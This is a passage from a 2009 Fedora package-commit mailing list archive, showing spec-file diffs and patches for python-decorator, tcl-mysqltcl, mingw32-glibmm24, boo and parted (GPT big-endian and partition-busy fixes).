-      <packagereq type="optional">kdebase-workspace-python-applet</packagereq>
       <packagereq type="optional">kdebase-workspace-wallpapers</packagereq>
       <packagereq type="optional">kdeclassic-icon-theme</packagereq>
       <packagereq type="optional">kdeedu</packagereq>



From toshio at fedoraproject.org  Tue Oct  6 20:40:24 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Tue,  6 Oct 2009 20:40:24 +0000 (UTC)
Subject: rpms/python-decorator/devel .cvsignore, 1.4,
	1.5 python-decorator.spec, 1.9, 1.10 sources, 1.4, 1.5
Message-ID: <20091006204024.948E211C02A2@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-decorator/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19969

Modified Files:
	.cvsignore python-decorator.spec sources 
Log Message:

* Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-2
- Really include the new source tarball



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 May 2009 05:24:36 -0000	1.4
+++ .cvsignore	6 Oct 2009 20:40:22 -0000	1.5
@@ -1 +1 @@
-decorator-3.0.1.tar.gz
+decorator-3.1.2.tar.gz


Index: python-decorator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/devel/python-decorator.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- python-decorator.spec	6 Oct 2009 20:35:57 -0000	1.9
+++ python-decorator.spec	6 Oct 2009 20:40:23 -0000	1.10
@@ -3,7 +3,7 @@
 
 Name:           python-decorator
 Version:        3.1.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Module to simplify usage of decorators
 
 Group:          Development/Languages
@@ -52,9 +52,11 @@ nosetests --with-doctest
 %{python_sitelib}/*
 
 %changelog
+* Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-2
+- Really include the new source tarball
+
 * Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-1
 - Update to upstream release 3.1.2
-- Drop patch included upstream
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
@@ -76,6 +78,3 @@ nosetests --with-doctest
 
 * Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 2.2.0-2
 - Rebuild for Python 2.6
-
-* Thu Dec 20 2007 Toshio Kuratomi <toshio at fedoraproject.org> - 2.2.0-1
-- Initial Fedora Build


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 May 2009 05:24:36 -0000	1.4
+++ sources	6 Oct 2009 20:40:24 -0000	1.5
@@ -1 +1 @@
-c4130a467be7f71154976c84af4a04c6  decorator-3.0.1.tar.gz
+9ebbe8d0f0c42495561b8e79fd0d8e56  decorator-3.1.2.tar.gz



From renep at fedoraproject.org  Tue Oct  6 20:40:55 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue,  6 Oct 2009 20:40:55 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel import.log, NONE, 1.1 tcl-mysqltcl.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006204055.0099F11C02A2@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20032/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log tcl-mysqltcl.spec 
Log Message:



--- NEW FILE import.log ---
tcl-mysqltcl-3_05-4_fc11:HEAD:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254861572


--- NEW FILE tcl-mysqltcl.spec ---
%bcond_without abi

%{!?tcl_version: %define tcl_version 8.5}
%{!?tcl_sitearch: %define tcl_sitearch tcl%{tcl_version}}

%define real_name mysqltcl

Summary:        MySQL interface for Tcl
Name:           tcl-mysqltcl
Version:        3.05
Release:        4%{?dist}

License:        MIT
Group:          Development/Tools
Source:         http://www.xdobry.de/mysqltcl/%{real_name}-%{version}.tar.gz
URL:            http://www.xdobry.de/mysqltcl
Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  mysql-devel
BuildRequires:  tcl-devel
%{?with_abi:Requires: tcl(abi) = %{tcl_version}}
Provides:       %{real_name} = %{version}-%{release}

%description
Mysqltcl is an extension to the Tool Command Language (Tcl) that
provides high-level access to a MySQL database server.


%prep
%setup -q -n mysqltcl-%{version}
chmod -x generic/mysqltcl.c
chmod 644 README ChangeLog COPYING AUTHORS README-msqltcl doc/mysqltcl.html

%build
%configure --with-tcl=%{_libdir} \
           --with-mysql-lib=%{_libdir}/mysql \
           --enable-threads \
           --enable-symbols
make %{?_smp_mflags}


%install
rm -Rf %{buildroot}
make DESTDIR=%{buildroot} install

pushd %{buildroot}%{_libdir}
mkdir %{tcl_sitearch}
mv %{real_name}-%{version} %{tcl_sitearch}
popd


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README ChangeLog COPYING AUTHORS README-msqltcl doc/mysqltcl.html
%{_libdir}/%{tcl_sitearch}/%{real_name}-%{version}
%{_mandir}/mann/*


%changelog
* Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
- Removed unnecessary Obsoletes tag

* Tue Sep 21 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-3
- Updated spec file according to bz #466047 comments 17-19

* Thu Oct 30 2008 Rene Ploetz <RenePloetz at gmx.de> 3.05-2
- Updated spec file

* Thu Oct 7 2008 Rene Ploetz <RenePloetz at gmx.de> 3.05-1
- Initial mysqltcl


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:33:38 -0000	1.1
+++ .cvsignore	6 Oct 2009 20:40:54 -0000	1.2
@@ -0,0 +1 @@
+mysqltcl-3.05.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:33:38 -0000	1.1
+++ sources	6 Oct 2009 20:40:54 -0000	1.2
@@ -0,0 +1 @@
+56a8252bc7407129300b5051549fb2d3  mysqltcl-3.05.tar.gz



From sailer at fedoraproject.org  Tue Oct  6 20:41:37 2009
From: sailer at fedoraproject.org (sailer)
Date: Tue,  6 Oct 2009 20:41:37 +0000 (UTC)
Subject: rpms/mingw32-glibmm24/devel mingw32-glibmm24.spec,1.10,1.11
Message-ID: <20091006204137.432A011C00C1@cvs1.fedora.phx.redhat.com>

Author: sailer

Update of /cvs/extras/rpms/mingw32-glibmm24/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19927

Modified Files:
	mingw32-glibmm24.spec 
Log Message:
remove includes of non-existent header files



Index: mingw32-glibmm24.spec
===================================================================
RCS file: /cvs/extras/rpms/mingw32-glibmm24/devel/mingw32-glibmm24.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- mingw32-glibmm24.spec	27 Sep 2009 16:31:24 -0000	1.10
+++ mingw32-glibmm24.spec	6 Oct 2009 20:41:37 -0000	1.11
@@ -7,13 +7,13 @@
 
 Name:           mingw32-glibmm24
 Version:        2.22.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        MinGW Windows C++ interface for GTK2 (a GUI library for X)
 
 License:        LGPLv2+
 Group:          Development/Libraries
 URL:            http://gtkmm.sourceforge.net/
-Source0:        http://ftp.gnome.org/pub/GNOME/sources/glibmm/2.20/glibmm-%{version}.tar.bz2
+Source0:        http://ftp.gnome.org/pub/GNOME/sources/glibmm/2.22/glibmm-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -56,6 +56,11 @@ rm -r $RPM_BUILD_ROOT%{_mingw32_docdir}/
 rm -r $RPM_BUILD_ROOT%{_mingw32_datadir}/devhelp
 rm -r $RPM_BUILD_ROOT%{_mingw32_datadir}/glibmm-2.4/doctool/
 
+# hack: desktopappinfo is not available on win32
+sed -i -e "s,#include <giomm/desktopappinfo.h>,," $RPM_BUILD_ROOT/%{_mingw32_includedir}/giomm-2.4/giomm.h
+sed -i -e "s,#include <giomm/unixinputstream.h>,," $RPM_BUILD_ROOT/%{_mingw32_includedir}/giomm-2.4/giomm.h
+sed -i -e "s,#include <giomm/unixoutputstream.h>,," $RPM_BUILD_ROOT/%{_mingw32_includedir}/giomm-2.4/giomm.h
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -82,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Thomas Sailer <t.sailer at alumni.ethz.ch> - 2.22.1-2
+- remove nonexisting (on windows) files from giomm.h header
+
 * Sun Sep 27 2009 Thomas Sailer <t.sailer at alumni.ethz.ch> - 2.22.1-1
 - update to 2.22.1 to match native package
 



From palango at fedoraproject.org  Tue Oct  6 20:50:10 2009
From: palango at fedoraproject.org (palango)
Date: Tue,  6 Oct 2009 20:50:10 +0000 (UTC)
Subject: rpms/boo/F-12 boo.spec,1.26,1.27
Message-ID: <20091006205011.0229711C02A0@cvs1.fedora.phx.redhat.com>

Author: palango

Update of /cvs/pkgs/rpms/boo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24088

Modified Files:
	boo.spec 
Log Message:
- Move Boo.NAnt.Tasks.dll to boo-devel



Index: boo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boo/F-12/boo.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- boo.spec	16 Sep 2009 11:29:44 -0000	1.26
+++ boo.spec	6 Oct 2009 20:50:10 -0000	1.27
@@ -4,7 +4,7 @@
 Summary: An OO statically typed language for CLI
 Name: boo
 Version: 0.9.2.3383
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: Development/Languages
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -63,6 +63,7 @@ update-mime-database %{_datadir}/mime &>
 %defattr(-,root,root,-)
 %doc license.txt notice.txt readme.txt docs/BooManifesto.sxw
 %{monodir}/boo*/
+%exclude %{monodir}/boo/Boo.NAnt.Tasks.dll
 %dir %{monodir}/mono/boo
 %{monodir}/mono/boo/*.dll
 %{monodir}/mono/gac/Boo*/
@@ -74,8 +75,12 @@ update-mime-database %{_datadir}/mime &>
 %files devel
 %defattr(-,root,root,-)
 %{monodir}/pkgconfig/boo.pc
+%{monodir}/boo/Boo.NAnt.Tasks.dll
 
 %changelog
+* Tue Oct 06 2009 Paul Lange <palango at gmx.de> - 0.9.2.3383-2
+- Move Boo.NAnt.Tasks.dll to boo-devel
+
 * Wed Sep 16 2009 Paul Lange <palango at gmx.de> - 0.9.2.3383-1
 - Update to boo 0.9.2
 - remove libdir patch



From palango at fedoraproject.org  Tue Oct  6 20:52:02 2009
From: palango at fedoraproject.org (palango)
Date: Tue,  6 Oct 2009 20:52:02 +0000 (UTC)
Subject: rpms/boo/devel boo.spec,1.26,1.27
Message-ID: <20091006205202.B7C2211C00C1@cvs1.fedora.phx.redhat.com>

Author: palango

Update of /cvs/pkgs/rpms/boo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24695

Modified Files:
	boo.spec 
Log Message:
- Move Boo.NAnt.Tasks.dll to boo-devel


Index: boo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boo/devel/boo.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- boo.spec	16 Sep 2009 11:29:44 -0000	1.26
+++ boo.spec	6 Oct 2009 20:52:02 -0000	1.27
@@ -4,7 +4,7 @@
 Summary: An OO statically typed language for CLI
 Name: boo
 Version: 0.9.2.3383
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: Development/Languages
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -63,6 +63,7 @@ update-mime-database %{_datadir}/mime &>
 %defattr(-,root,root,-)
 %doc license.txt notice.txt readme.txt docs/BooManifesto.sxw
 %{monodir}/boo*/
+%exclude %{monodir}/boo/Boo.NAnt.Tasks.dll
 %dir %{monodir}/mono/boo
 %{monodir}/mono/boo/*.dll
 %{monodir}/mono/gac/Boo*/
@@ -74,8 +75,12 @@ update-mime-database %{_datadir}/mime &>
 %files devel
 %defattr(-,root,root,-)
 %{monodir}/pkgconfig/boo.pc
+%{monodir}/boo/Boo.NAnt.Tasks.dll
 
 %changelog
+* Tue Oct 06 2009 Paul Lange <palango at gmx.de> - 0.9.2.3383-2
+- Move Boo.NAnt.Tasks.dll to boo-devel
+
 * Wed Sep 16 2009 Paul Lange <palango at gmx.de> - 0.9.2.3383-1
 - Update to boo 0.9.2
 - remove libdir patch



From renep at fedoraproject.org  Tue Oct  6 20:53:27 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue,  6 Oct 2009 20:53:27 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/F-11 import.log, NONE, 1.1 tcl-mysqltcl.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006205327.DE24611C00C1@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25348/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log tcl-mysqltcl.spec 
Log Message:



--- NEW FILE import.log ---
tcl-mysqltcl-3_05-4_fc11:F-11:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254862374


--- NEW FILE tcl-mysqltcl.spec ---
%bcond_without abi

%{!?tcl_version: %define tcl_version 8.5}
%{!?tcl_sitearch: %define tcl_sitearch tcl%{tcl_version}}

%define real_name mysqltcl

Summary:        MySQL interface for Tcl
Name:           tcl-mysqltcl
Version:        3.05
Release:        4%{?dist}

License:        MIT
Group:          Development/Tools
Source:         http://www.xdobry.de/mysqltcl/%{real_name}-%{version}.tar.gz
URL:            http://www.xdobry.de/mysqltcl
Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  mysql-devel
BuildRequires:  tcl-devel
%{?with_abi:Requires: tcl(abi) = %{tcl_version}}
Provides:       %{real_name} = %{version}-%{release}

%description
Mysqltcl is an extension to the Tool Command Language (Tcl) that
provides high-level access to a MySQL database server.


%prep
%setup -q -n mysqltcl-%{version}
chmod -x generic/mysqltcl.c
chmod 644 README ChangeLog COPYING AUTHORS README-msqltcl doc/mysqltcl.html

%build
%configure --with-tcl=%{_libdir} \
           --with-mysql-lib=%{_libdir}/mysql \
           --enable-threads \
           --enable-symbols
make %{?_smp_mflags}


%install
rm -Rf %{buildroot}
make DESTDIR=%{buildroot} install

pushd %{buildroot}%{_libdir}
mkdir %{tcl_sitearch}
mv %{real_name}-%{version} %{tcl_sitearch}
popd


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README ChangeLog COPYING AUTHORS README-msqltcl doc/mysqltcl.html
%{_libdir}/%{tcl_sitearch}/%{real_name}-%{version}
%{_mandir}/mann/*


%changelog
* Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
- Removed unnecessary Obsoletes tag

* Tue Sep 21 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-3
- Updated spec file according to bz #466047 comments 17-19

* Thu Oct 30 2008 Rene Ploetz <RenePloetz at gmx.de> 3.05-2
- Updated spec file

* Thu Oct 7 2008 Rene Ploetz <RenePloetz at gmx.de> 3.05-1
- Initial mysqltcl


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:33:38 -0000	1.1
+++ .cvsignore	6 Oct 2009 20:53:27 -0000	1.2
@@ -0,0 +1 @@
+mysqltcl-3.05.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:33:38 -0000	1.1
+++ sources	6 Oct 2009 20:53:27 -0000	1.2
@@ -0,0 +1 @@
+56a8252bc7407129300b5051549fb2d3  mysqltcl-3.05.tar.gz



From jwrdegoede at fedoraproject.org  Tue Oct  6 20:57:12 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Tue,  6 Oct 2009 20:57:12 +0000 (UTC)
Subject: rpms/parted/devel parted-1.9.0-gpt-big-endian.patch, NONE,
	1.1 parted.spec, 1.149, 1.150
Message-ID: <20091006205712.9790D11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/parted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26508

Modified Files:
	parted.spec 
Added Files:
	parted-1.9.0-gpt-big-endian.patch 
Log Message:
* Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-16
- Correctly handle GPT labels on big endian machines


parted-1.9.0-gpt-big-endian.patch:
 gpt.c |   13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

--- NEW FILE parted-1.9.0-gpt-big-endian.patch ---
>From d6e9b3bbda5eb565b6031b5620e38cba871c6748 Mon Sep 17 00:00:00 2001
From: Jim Meyering <meyering at redhat.com>
Date: Tue, 6 Oct 2009 20:10:00 +0200
Subject: [PATCH parted 1/3] gpt: don't malfunction on big-endian systems

Numerous GPT tests would fail when run on e.g., big-endian PPC.
* libparted/labels/gpt.c (gpt_read): Now that we use the
SizeOfPartitionEntry member, be sure to convert from GPT's
little-endian on-disk format to to CPU endianness.
This bug was introduced via commit 14cce9b2, 2009-06-10, "gpt:
fix gpt_read to read all of the partition entries correctly".
* libparted/labels/gpt.c (_header_is_valid): Also convert it here.
Add a test to ensure that the partition entry size is no larger
than the slightly arbitrary UINT32_MAX/16.
* NEWS (Bug fixes): Mention it.
---
 NEWS                   |    3 +++
 libparted/labels/gpt.c |   12 +++++++-----
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/libparted/labels/gpt.c b/libparted/labels/gpt.c
index cc9bcdc..b4549ef 100644
--- a/libparted/labels/gpt.c
+++ b/libparted/labels/gpt.c
@@ -608,8 +608,10 @@ _header_is_valid (const PedDevice* dev, GuidPartitionTableHeader_t* gpt)
 	 * the SizeOfPartitionEntry must be a multiple of 8 and
 	 * no smaller than the size of the PartitionEntry structure.
 	 */
-	uint32_t sope = gpt->SizeOfPartitionEntry;
-	if (sope % 8 != 0 || sope < sizeof(GuidPartitionEntry_t) )
+	uint32_t sope = PED_LE32_TO_CPU (gpt->SizeOfPartitionEntry);
+	if (sope % 8 != 0
+            || sope < sizeof (GuidPartitionEntry_t)
+            || (UINT32_MAX >> 4) < sope)
 		return 0;
 
 	origcrc = gpt->HeaderCRC32;
@@ -911,7 +913,8 @@ gpt_read (PedDisk * disk)
 	if (!_parse_header (disk, gpt, &write_back))
 		goto error_free_gpt;
 
-	ptes_sectors = ped_div_round_up (gpt->SizeOfPartitionEntry
+	uint32_t p_ent_size = PED_LE32_TO_CPU (gpt->SizeOfPartitionEntry);
+	ptes_sectors = ped_div_round_up (p_ent_size
 					 * gpt_disk_data->entry_count,
 					 disk->dev->sector_size);
 
@@ -926,8 +929,7 @@ gpt_read (PedDisk * disk)
 
 	for (i = 0; i < gpt_disk_data->entry_count; i++) {
 		GuidPartitionEntry_t* pte
-		  = (GuidPartitionEntry_t*) ((char *)ptes + i
-					     * gpt->SizeOfPartitionEntry);
+		  = (GuidPartitionEntry_t*) ((char *)ptes + i * p_ent_size);
 		PedPartition* part;
 		PedConstraint* constraint_exact;
 
-- 
1.6.5.rc2



Index: parted.spec
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- parted.spec	6 Oct 2009 18:53:21 -0000	1.149
+++ parted.spec	6 Oct 2009 20:57:12 -0000	1.150
@@ -4,7 +4,7 @@
 Summary: The GNU disk partition manipulation program
 Name:    parted
 Version: 1.9.0
-Release: 15%{?dist}
+Release: 16%{?dist}
 License: GPLv3+
 Group:   Applications/System
 URL:     http://www.gnu.org/software/parted
@@ -26,6 +26,7 @@ Patch13:  %{name}-1.9.0-no-BLKPG.patch
 Patch14:  %{name}-1.9.0-commit-without-close.patch
 Patch15:  %{name}-1.9.0-dont-touch-part-nodes.patch
 Patch16:  %{name}-1.9.0-ped_partition_is_busy-no-exception.patch
+Patch17:  %{name}-1.9.0-gpt-big-endian.patch
 
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: e2fsprogs-devel
@@ -79,6 +80,7 @@ Parted library, you need to install this
 %patch14 -p1 -b .commit-without-close
 %patch15 -p1 -b .dont-touch-part-nodes
 %patch16 -p1 -b .ped_partition_is_busy
+%patch17 -p1 -b .gpt-big-endian
 
 
 %build
@@ -140,6 +142,9 @@ fi
 %{_exec_prefix}/%{_lib}/pkgconfig/libparted.pc
 
 %changelog
+* Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-16
+- Correctly handle GPT labels on big endian machines
+
 * Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-15
 - ped_partition_is_busy() should not throw exceptions (#527035)
 - msdos_partition_is_flag_available() should return 1 for swap flag (#513729)



From jwrdegoede at fedoraproject.org  Tue Oct  6 21:00:09 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Tue,  6 Oct 2009 21:00:09 +0000 (UTC)
Subject: rpms/parted/F-12 parted-1.9.0-gpt-big-endian.patch, NONE,
	1.1 parted-1.9.0-ped_partition_is_busy-no-exception.patch, NONE,
	1.1 parted-1.9.0-swap-flag.patch, 1.2, 1.3 parted.spec, 1.148, 1.149
Message-ID: <20091006210009.94C9511C02A2@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/parted/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27771

Modified Files:
	parted-1.9.0-swap-flag.patch parted.spec 
Added Files:
	parted-1.9.0-gpt-big-endian.patch 
	parted-1.9.0-ped_partition_is_busy-no-exception.patch 
Log Message:
* Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-16
- Correctly handle GPT labels on big endian machines


parted-1.9.0-gpt-big-endian.patch:
 gpt.c |   13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

--- NEW FILE parted-1.9.0-gpt-big-endian.patch ---
>From d6e9b3bbda5eb565b6031b5620e38cba871c6748 Mon Sep 17 00:00:00 2001
From: Jim Meyering <meyering at redhat.com>
Date: Tue, 6 Oct 2009 20:10:00 +0200
Subject: [PATCH parted 1/3] gpt: don't malfunction on big-endian systems

Numerous GPT tests would fail when run on e.g., big-endian PPC.
* libparted/labels/gpt.c (gpt_read): Now that we use the
SizeOfPartitionEntry member, be sure to convert from GPT's
little-endian on-disk format to to CPU endianness.
This bug was introduced via commit 14cce9b2, 2009-06-10, "gpt:
fix gpt_read to read all of the partition entries correctly".
* libparted/labels/gpt.c (_header_is_valid): Also convert it here.
Add a test to ensure that the partition entry size is no larger
than the slightly arbitrary UINT32_MAX/16.
* NEWS (Bug fixes): Mention it.
---
 NEWS                   |    3 +++
 libparted/labels/gpt.c |   12 +++++++-----
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/libparted/labels/gpt.c b/libparted/labels/gpt.c
index cc9bcdc..b4549ef 100644
--- a/libparted/labels/gpt.c
+++ b/libparted/labels/gpt.c
@@ -608,8 +608,10 @@ _header_is_valid (const PedDevice* dev, GuidPartitionTableHeader_t* gpt)
 	 * the SizeOfPartitionEntry must be a multiple of 8 and
 	 * no smaller than the size of the PartitionEntry structure.
 	 */
-	uint32_t sope = gpt->SizeOfPartitionEntry;
-	if (sope % 8 != 0 || sope < sizeof(GuidPartitionEntry_t) )
+	uint32_t sope = PED_LE32_TO_CPU (gpt->SizeOfPartitionEntry);
+	if (sope % 8 != 0
+            || sope < sizeof (GuidPartitionEntry_t)
+            || (UINT32_MAX >> 4) < sope)
 		return 0;
 
 	origcrc = gpt->HeaderCRC32;
@@ -911,7 +913,8 @@ gpt_read (PedDisk * disk)
 	if (!_parse_header (disk, gpt, &write_back))
 		goto error_free_gpt;
 
-	ptes_sectors = ped_div_round_up (gpt->SizeOfPartitionEntry
+	uint32_t p_ent_size = PED_LE32_TO_CPU (gpt->SizeOfPartitionEntry);
+	ptes_sectors = ped_div_round_up (p_ent_size
 					 * gpt_disk_data->entry_count,
 					 disk->dev->sector_size);
 
@@ -926,8 +929,7 @@ gpt_read (PedDisk * disk)
 
 	for (i = 0; i < gpt_disk_data->entry_count; i++) {
 		GuidPartitionEntry_t* pte
-		  = (GuidPartitionEntry_t*) ((char *)ptes + i
-					     * gpt->SizeOfPartitionEntry);
+		  = (GuidPartitionEntry_t*) ((char *)ptes + i * p_ent_size);
 		PedPartition* part;
 		PedConstraint* constraint_exact;
 
-- 
1.6.5.rc2


parted-1.9.0-ped_partition_is_busy-no-exception.patch:
 linux.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE parted-1.9.0-ped_partition_is_busy-no-exception.patch ---
>From fa2ad81437541251d6e47eccf3bc413cf68a0c31 Mon Sep 17 00:00:00 2001
From: Hans de Goede <hdegoede at redhat.com>
Date: Tue, 6 Oct 2009 11:18:25 +0200
Subject: [PATCH] ped_partition_busy should not call the libparted exception handler

Modify libparted/arch/linux.c _partition_get_part_dev() to not call
_device_stat() but instead use stat directly, as _device_stat() calls
the libparted exception handler and we don't want this here, the only caller
of _partition_get_part_dev() is _partition_is_mounted(), which in turn only
gets called by linux_partition_is_busy(), and we don't want to "throw"
exceptions from ped_partition_busy()

This issue was noticed in combination with pyparted as used by anaconda, see:
https://bugzilla.redhat.com/show_bug.cgi?id=527035#c10
---
 libparted/arch/linux.c |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
index 52f7d21..a8d6daf 100644
--- a/libparted/arch/linux.c
+++ b/libparted/arch/linux.c
@@ -2127,7 +2127,7 @@ _partition_get_part_dev (const PedPartition* part)
         struct stat dev_stat;
         int dev_major, dev_minor;
 
-        if (!_device_stat (part->disk->dev, &dev_stat))
+        if (stat (part->disk->dev->path, &dev_stat))
                 return (dev_t)0;
         dev_major = major (dev_stat.st_rdev);
         dev_minor = minor (dev_stat.st_rdev);
@@ -2184,6 +2184,8 @@ _partition_is_mounted (const PedPartition *part)
         if (!ped_partition_is_active (part))
                 return 0;
         dev = _partition_get_part_dev (part);
+        if (!dev)
+        	return 0;
         return _partition_is_mounted_by_dev (dev);
 }
 
-- 
1.6.5.rc2


parted-1.9.0-swap-flag.patch:
 dos.c |   30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

Index: parted-1.9.0-swap-flag.patch
===================================================================
RCS file: /cvs/extras/rpms/parted/F-12/parted-1.9.0-swap-flag.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- parted-1.9.0-swap-flag.patch	27 Jul 2009 17:03:49 -0000	1.2
+++ parted-1.9.0-swap-flag.patch	6 Oct 2009 21:00:09 -0000	1.3
@@ -124,6 +124,14 @@ index 7ec15ee..f8307c5 100644
  	default:
  		return 0;
  	}
+@@ -1496,6 +1496,7 @@ msdos_partition_is_flag_available (const
+ 	case PED_PARTITION_LBA:
+ 	case PED_PARTITION_PALO:
+ 	case PED_PARTITION_PREP:
++	case PED_PARTITION_SWAP:
+ 		return 1;
+ 
+ 	default:
 -- 
 1.6.0.6
 


Index: parted.spec
===================================================================
RCS file: /cvs/extras/rpms/parted/F-12/parted.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- parted.spec	31 Aug 2009 12:34:18 -0000	1.148
+++ parted.spec	6 Oct 2009 21:00:09 -0000	1.149
@@ -4,7 +4,7 @@
 Summary: The GNU disk partition manipulation program
 Name:    parted
 Version: 1.9.0
-Release: 14%{?dist}
+Release: 16%{?dist}
 License: GPLv3+
 Group:   Applications/System
 URL:     http://www.gnu.org/software/parted
@@ -25,6 +25,8 @@ Patch12:  %{name}-1.9.0-volkeysize.patch
 Patch13:  %{name}-1.9.0-no-BLKPG.patch
 Patch14:  %{name}-1.9.0-commit-without-close.patch
 Patch15:  %{name}-1.9.0-dont-touch-part-nodes.patch
+Patch16:  %{name}-1.9.0-ped_partition_is_busy-no-exception.patch
+Patch17:  %{name}-1.9.0-gpt-big-endian.patch
 
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
